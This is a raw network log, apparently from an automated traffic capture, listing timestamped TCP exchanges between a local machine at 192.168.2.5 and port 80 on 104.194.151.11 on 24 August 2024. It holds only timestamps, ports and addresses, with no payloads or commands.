Aug 24, 2024 11:02:01.676733971 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.776607990 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.776632071 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.776645899 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.776657104 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.776668072 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.776670933 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.776679993 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.776690960 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.776691914 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.776702881 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.776714087 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.776726961 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.776741982 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.776761055 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.776765108 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.776776075 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.776786089 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.776796103 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.776808023 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.776813984 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.776813984 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.776818991 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.776823044 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.776829958 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.776842117 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.776859999 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.776875973 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.776896000 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.776901960 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.776917934 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.776930094 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.776940107 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.776946068 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.776952028 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.776962996 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.776967049 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.776973963 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.776983976 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.776994944 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777000904 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.777012110 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777019978 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.777024031 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777034044 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.777064085 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.777108908 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777120113 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777129889 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777142048 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777152061 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777153969 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.777163982 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777167082 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.777174950 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777188063 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777201891 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777201891 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.777211905 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777224064 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777240992 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777247906 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.777251005 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777260065 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.777262926 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777275085 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777276993 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.777287006 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777303934 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777314901 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777316093 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.777326107 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777334929 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.777338982 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777349949 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777362108 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777363062 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.777373075 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777384043 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777393103 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.777395964 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777416945 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.777436018 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.777446032 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777457952 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777467966 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777478933 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777482986 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.777494907 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777507067 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777508020 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.777518988 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777529955 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777534962 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.777542114 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777548075 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.777553082 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777579069 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.777606010 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.777734041 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777746916 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777755976 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777774096 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.777776003 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777784109 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.777787924 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777798891 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777808905 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.777810097 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777822018 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777822971 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.777832985 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777848005 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777852058 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.777858019 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777869940 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777875900 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.777880907 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777890921 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777903080 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777914047 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.777920008 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777931929 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777942896 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.777942896 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777956009 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777957916 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.777966022 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777977943 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777987957 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.777992964 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.778006077 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.778017998 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.778028965 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.778036118 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.778039932 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.778050900 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.778054953 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.778064966 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.778069019 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.778075933 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.778083086 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.778105021 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.778137922 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.778146029 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.778148890 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.778166056 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.778177023 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.778177023 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.778208971 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.778234005 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.778254986 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.778266907 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.778275967 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.778286934 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.778300047 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.778302908 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.778314114 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.778315067 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.778326035 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.778337002 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.778337002 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.778348923 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.778358936 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.778383970 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.778394938 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.778424025 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.869085073 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.869164944 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.869215965 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.869226933 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.869236946 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.869247913 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.869259119 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.869268894 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.869270086 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.869281054 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.869291067 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.869302988 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.869317055 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.869330883 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.869334936 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.869345903 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.869355917 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.869359016 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.869362116 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.869373083 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.869379997 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.869380951 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.869391918 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.869405985 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.869415998 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.869422913 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.869434118 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.869446039 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.869457006 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.869461060 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.869468927 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.869479895 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.869512081 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.869697094 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.869713068 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.869729996 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.869743109 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.869765997 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.869774103 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.869777918 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.869787931 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.869793892 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.869800091 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.869803905 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.869813919 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.869822025 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.869832993 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.869841099 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.869843006 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.869848967 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.869868994 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.869878054 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.869879961 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.869891882 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.869899035 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.869900942 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.869914055 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.869916916 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.869926929 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.869936943 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.869951963 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.869956017 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.869972944 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.869985104 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.869996071 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870004892 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.870004892 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.870007992 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870018005 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870029926 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870032072 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.870059967 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870064020 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.870083094 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.870100021 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870110989 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870112896 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.870121956 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870140076 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870141983 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.870157957 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870170116 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870176077 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.870182037 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870193958 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870210886 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870212078 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.870222092 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870234966 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870243073 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.870245934 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870258093 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870266914 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.870290995 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.870301962 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.870366096 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870377064 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870387077 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870398045 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870409966 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870414019 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.870424032 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870439053 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870445967 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.870466948 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.870487928 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.870511055 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870522022 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870532990 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870543957 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870556116 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870558977 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.870573997 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870584965 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870594025 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.870595932 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870606899 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.870614052 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870625019 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870634079 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.870635986 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870647907 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870655060 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.870661974 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870691061 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.870711088 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870719910 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.870723963 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870754957 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.870770931 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.870779037 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870790958 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870800972 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870811939 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870824099 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870826006 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.870846987 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.870872974 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.870942116 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870953083 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870964050 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870975971 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870985985 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.870992899 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.871002913 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.871014118 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.871025085 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.871025085 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.871037006 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.871043921 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.871048927 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.871061087 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.871066093 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.871073008 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.871084929 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.871088028 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.871113062 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.871134043 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.871186018 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.871198893 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.871231079 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.871251106 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.871260881 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.871272087 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.871282101 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.871294022 CEST	80	49704	104.194.151.11	192.168.2.5
